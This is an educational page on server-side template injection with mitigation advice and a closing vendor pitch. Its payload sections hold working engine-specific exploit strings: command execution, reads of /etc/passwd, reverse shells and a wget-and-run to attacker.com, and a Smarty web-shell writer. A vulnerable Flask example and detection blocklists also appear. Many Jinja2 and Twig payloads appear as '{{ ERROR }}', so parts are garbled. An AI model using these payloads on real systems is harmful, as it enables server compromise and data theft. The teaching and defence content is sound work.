#
Server-Side Template Injection (SSTI)
CRITICAL SEVERITY REMOTE CODE EXECUTION TEMPLATE VULNERABILITY
#
Overview
Server-Side Template Injection (SSTI) occurs when attackers inject malicious code into template engines, causing the server to execute arbitrary code during template rendering.
In One Sentence
Tricking the server's template engine (the system that generates dynamic web pages) into executing attacker's code instead of just displaying text.
#
Simple Explanation
#
Real-World Analogy
Imagine you run a mail-merge system for personalized letters. You create a template:
Dear ,
Thank you for your order of .
Input: customer_name = "John", product = "Laptop"
Output: Dear John, Thank you for your order of Laptop. ✓
Input: customer_name = "49", product = "Laptop"
Output: Dear 49, Thank you for your order of Laptop.
Wait... the system calculated 7*7 = 49!
This means it's executing code, not just replacing text!
#
The Escalation
Input: customer_name = "49"
Output: 49
Conclusion: Template engine executes expressions!
Input: customer_name = "{{ ERROR }}"
Output: root:x:0:0:root:/root:/bin/bash...
Conclusion: Can execute system commands!
The Problem
The template engine treats everything as instructions, not just plain text to display.
#
How SSTI Attacks Work
#
Attack Progression
Find where user input affects template output
Test with expressions to identify which template engine is being used
Use template-specific syntax to access dangerous functions
Read files, execute commands, or establish reverse shell
#
Vulnerable Application Example
# Python/Flask with Jinja2 - DANGEROUS
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', 'Guest')
# DANGEROUS: User input directly in template!
template = f"<h1>Hello {name}!</h1>"
return render_template_string(template)
URL: /greet?name=John
Template: <h1>Hello John!</h1>
Output: Hello John! ✓
URL: /greet?name=49
Output: Hello 49!
Success! Template engine evaluated 7*7.
SSTI vulnerability confirmed.
URL: /greet?name=
Output: Shows Flask configuration including SECRET_KEY!
URL: /greet?name={{ ERROR }}
Output: Lists all available Python classes
URL: /greet?name={{ ERROR }}
Output: root (or current user)
#
Template Engine Attacks
#
1. Jinja2 (Python/Flask/Django)
49 → 49
7777777 → 7777777
If 7777777 returns 7777777, it's likely Jinja2
{{ ERROR }}
# Reveals:
# - SECRET_KEY
# - Database credentials
# - Debug settings
# Access file class and read files
{{ ERROR }}
# Alternative approach
{{ ERROR }}
# Method 1: Using os module
{{ ERROR }}
# Method 2: Using subprocess
{{ ERROR }}
# Method 3: Reverse shell
{{ ERROR }}
#
2. Twig (PHP/Symfony)
49 → 49
7777777 → 7777777
# Register system function as filter
{{ ERROR }}{{ ERROR }}
# Alternative
{{ ERROR }}{{ ERROR }}
{{ ERROR }}
# Read configuration
{{ ERROR }}
# Set malicious cache location
{{ ERROR }}
{{ ERROR }}
#
3. Freemarker (Java)
${7*7} → 49
${7*'7'} → Error (type mismatch)
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }
# Multiple commands
${ ex("cat /etc/passwd") }
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}
#
4. ERB (Ruby/Rails)
<%= 7*7 %> → 49
<%= 7*'7' %> → 7777777
<%= system("whoami") %>
<%= `id` %>
<%= %x(uname -a) %>
<%= File.open('/etc/passwd').read %>
<%= File.read('/etc/passwd') %>
<%= IO.popen('bash -i >& /dev/tcp/attacker.com/4444 0>&1').read %>
#
:icon-nodejs: 5. Pug/Jade (Node.js)
#{7*7} → 49
#{7*'7'} → NaN (JavaScript behavior)
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('whoami')}()}
#{global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8')}
#{global.process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"').toString()}
#
6. Smarty (PHP)
{$smarty.version} → Shows version
{7*7} → 49
{php}echo `id`;{/php}
{php}system('whoami');{/php}
[If Disabled]
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru(\$_GET['cmd']); ?>",self::clearConfig())}
# Then access: /index.php?cmd=whoami
{file_get_contents('/etc/passwd')}
#
Real-World Examples
#
Case Study 1: Uber (2016)
Jinja2 SSTI in internal admin tool
- Access to internal systems
- Exposure of customer data
- Database credentials compromised
- Admin panel used Jinja2 templates
- User input not properly sanitized
- Attacker injected template code
- Gained access to internal systems
- Extracted sensitive data
#
Case Study 2: Shopify (2017)
SSTI in email template customization
- Potential RCE on Shopify servers
- Access to merchant data
- $25,000 bug bounty paid
# Shopify uses Liquid template engine
# Attacker found SSTI in custom email templates
{{ ERROR }} # Normal
{{ ERROR }} # Information disclosure
#
Case Study 3: Enterprise CMS Platform (2019)
Freemarker SSTI in content management system
- Complete server takeover
- Access to all client websites
- Database credentials exposed
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh") }
#
Prevention & Mitigation
#
1. Never Use User Input in Templates
Keep template code separate from user data
# DANGEROUS: User input in template string
from flask import request, render_template_string
@app.route('/greet')
def greet():
name = request.args.get('name')
template = f"<h1>Hello {name}!</h1>" # VULNERABLE!
return render_template_string(template)
# SECURE: Use template files and pass data as variables
from flask import request, render template
@app.route('/greet')
def greet():
name = request.args.get('name')
# Template is in separate file, user data passed as variable
return render_template('greet.html', name=name)
<!-- greet.html - Static template -->
<h1>Hello !</h1>
<!-- Jinja2 auto-escapes variables, preventing injection -->
#
2. Use Sandboxed Template Environments
Restrict what functions and classes templates can access
from jinja2.sandbox import SandboxedEnvironment
# Create sandboxed environment
env = SandboxedEnvironment()
# Render template safely
template = env.from_string('Hello !')
output = template.render(name=user_input)
from jinja2.sandbox import SandboxedEnvironment
class CustomSandbox(SandboxedEnvironment):
def is_safe_attribute(self, obj, attr, value):
# Block dangerous attributes
forbidden = ['__class__', '__mro__', '__subclasses__',
'__globals__', '__builtins__']
if attr in forbidden:
return False
return super().is_safe_attribute(obj, attr, value)
env = CustomSandbox()
#
3. Input Validation
Whitelist allowed characters and validate input format
import re
def sanitize_template_input(user_input):
# Only allow alphanumeric and basic punctuation
if not re.match(r'^[a-zA-Z0-9\s\.,!?-]+$', user_input):
raise ValueError("Invalid characters in input")
# Block template syntax
dangerous_patterns = [
', ', '{%', '%}', '${', '<#', '<%', '#{'
]
for pattern in dangerous_patterns:
if pattern in user_input:
raise ValueError("Template syntax not allowed")
return user_input
@app.route('/greet')
def greet():
name = request.args.get('name')
try:
safe_name = sanitize_template_input(name)
return render_template('greet.html', name=safe_name)
except ValueError as e:
return str(e), 400
#
4. Use Logic-Less Templates
Use template engines that don't allow code execution
// Mustache doesn't execute code, only substitutes values
const Mustache = require('mustache');
const template = '<h1>Hello !</h1>';
const data = { name: userInput };
// Safe: Mustache escapes and only substitutes
const output = Mustache.render(template, data);
<!-- No logic, no code execution possible -->
<div>
<h1>Hello !</h1>
<p>Email: </p>
</div>
#
5. Monitor and Log Template Rendering
import logging
class MonitoredTemplate:
def render(self, template_string, context):
# Log template rendering
logging.info(f"Rendering template: {template_string[:100]}")
# Check for suspicious patterns
suspicious = ['__class__', '__mro__', 'import', 'exec', 'eval']
for pattern in suspicious:
if pattern in template_string:
logging.warning(f"Suspicious pattern detected: {pattern}")
send_security_alert(template_string)
return template.render(context)
#
Detection & Testing
#
Detection Payloads
49
${7*7}
<%= 7*7 %>
#{7*7}
{7*7}
$49
Expected output: 49 indicates SSTI
7777777 → 7777777 (string multiplication)
{7*7} → 49 (Smarty)
7777777 → 7777777 (Twig)
${7*7} → 49
<%= 7*7 %> → 49
#{7*7} → 49
#
Testing Tools
# Automated SSTI scanner
tplmap -u 'http://target.com/page?name=test'
# Specify parameter
tplmap -u 'http://target.com/page' --data 'name=test'
# With session cookie
tplmap -u 'http://target.com/page?name=test' --cookie='session=abc123'
# Test common injection points
curl "http://target.com/greet?name=49"
curl "http://target.com/page?title=${7*7}"
curl -X POST http://target.com/comment -d "text=<%= 7*7 %>"
Use Intruder with SSTI payload list:
- Position: username=49
- Payload list: template-injection-payloads.txt
- Look for "49" in responses
#
Security Checklist
#
Development
- Never concatenate user input into template strings
- Use template files with variable substitution
- Enable auto-escaping in template engine
- Use sandboxed template environments
- Validate and sanitize all user input
- Block template syntax characters
- Consider logic-less templates (Mustache)
- Review all template rendering code
#
Infrastructure
- Run application with minimal privileges
- Use containerization for isolation
- Implement Web Application Firewall (WAF)
- Monitor for SSTI attack patterns
- Keep template engines updated
- Regular security audits
- Penetration testing
#
Testing
- Test all user input points for SSTI
- Try multiple template syntax variations
- Test with automated tools (TPlmap)
- Verify sandboxing effectiveness
- Check for information disclosure
- Test with different payload encodings
#
Key Takeaways
Primary Defenses
- Never use user input in templates - Use template files with variable substitution
- Enable sandboxing - Restrict template engine capabilities
- Validate input strictly - Block template syntax characters
- Use logic-less templates - Consider Mustache or similar
- Monitor template rendering - Detect suspicious patterns
Critical Points
- SSTI can lead to complete server compromise (RCE)
- Each template engine has specific exploitation techniques
- Auto-escaping doesn't prevent SSTI, only XSS
- Sandboxed environments can sometimes be bypassed
- Regular expression validation is not foolproof
Best Practices
- Separate template code from user data completely
- Use template engines with security in mind
- Implement defense in depth with multiple layers
- Regular security testing and code review
- Keep template engines updated with security patches
#
References & Resources
#
Official Documentation
#
Testing Tools
#
Learning Resources
#
Layerd AI Protection
Layerd AI Guardian Proxy prevents SSTI attacks:
- Pattern detection - Identifies template injection syntax
- Behavioral analysis - ML detects abnormal template rendering
- Real-time blocking - Prevents malicious template execution
- Zero-day protection - Catches novel SSTI techniques
Learn more about Layerd AI Protection →
Remember: Server-Side Template Injection is a critical vulnerability that can lead to complete server compromise. Always separate template code from user data and use secure template rendering practices.
Never trust user input in template contexts!
Last updated: November 2025